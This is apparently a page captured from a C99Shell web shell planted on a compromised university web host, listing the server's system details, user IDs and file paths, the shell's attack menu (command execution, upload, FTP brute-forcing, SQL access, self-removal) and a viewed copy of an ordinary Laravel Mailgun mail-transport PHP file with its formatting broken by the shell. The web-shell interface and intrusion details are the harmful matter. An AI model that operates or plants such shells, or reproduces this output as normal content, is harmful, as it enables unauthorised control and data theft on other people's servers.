!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Mail/Transport/   drwxr-xr-x
Free 117.29 GB of 200.55 GB (58.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MailgunTransport.php (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Mail\Transport;

use 
Swift_Mime_Message;
use 
GuzzleHttp\Post\PostFile;
use 
GuzzleHttp\ClientInterface;

class 
MailgunTransport extends Transport
{
    
/**
     * Guzzle client instance.
     *
     * @var \GuzzleHttp\ClientInterface
     */
    
protected $client;

    
/**
     * The Mailgun API key.
     *
     * @var string
     */
    
protected $key;

    
/**
     * The Mailgun domain.
     *
     * @var string
     */
    
protected $domain;

    
/**
     * THe Mailgun API end-point.
     *
     * @var string
     */
    
protected $url;

    
/**
     * Create a new Mailgun transport instance.
     *
     * @param  \GuzzleHttp\ClientInterface  $client
     * @param  string  $key
     * @param  string  $domain
     * @return void
     */
    
public function __construct(ClientInterface $client$key$domain)
    {
        
$this->client $client;
        
$this->key $key;
        
$this->setDomain($domain);
    }

    
/**
     * {@inheritdoc}
     */
    
public function send(Swift_Mime_Message $message, &$failedRecipients null)
    {
        
$this->beforeSendPerformed($message);

        
$options = ['auth' => ['api'$this->key]];

        
$to $this->getTo($message);

        
$message->setBcc([]);

        if (
version_compare(ClientInterface::VERSION'6') === 1) {
            
$options['multipart'] = [
                [
'name' => 'to''contents' => $to],
                [
'name' => 'message''contents' => $message->toString(), 'filename' => 'message.mime'],
            ];
        } else {
            
$options['body'] = [
                
'to' => $to,
                
'message' => new PostFile('message'$message->toString()),
            ];
        }

        return 
$this->client->post($this->url$options);
    }

    
/**
     * Get the "to" payload field for the API request.
     *
     * @param  \Swift_Mime_Message  $message
     * @return array
     */
    
protected function getTo(Swift_Mime_Message $message)
    {
        
$formatted = [];

        
$contacts array_merge(
            (array) 
$message->getTo(), (array) $message->getCc(), (array) $message->getBcc()
        );

        foreach (
$contacts as $address => $display) {
            
$formatted[] = $display $display." <$address>" $address;
        }

        return 
implode(','$formatted);
    }

    
/**
     * Get the API key being used by the transport.
     *
     * @return string
     */
    
public function getKey()
    {
        return 
$this->key;
    }

    
/**
     * Set the API key being used by the transport.
     *
     * @param  string  $key
     * @return string
     */
    
public function setKey($key)
    {
        return 
$this->key $key;
    }

    
/**
     * Get the domain being used by the transport.
     *
     * @return string
     */
    
public function getDomain()
    {
        return 
$this->domain;
    }

    
/**
     * Set the domain being used by the transport.
     *
     * @param  string  $domain
     * @return void
     */
    
public function setDomain($domain)
    {
        
$this->url 'https://api.mailgun.net/v3/'.$domain.'/messages.mime';

        return 
$this->domain $domain;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0347 ]--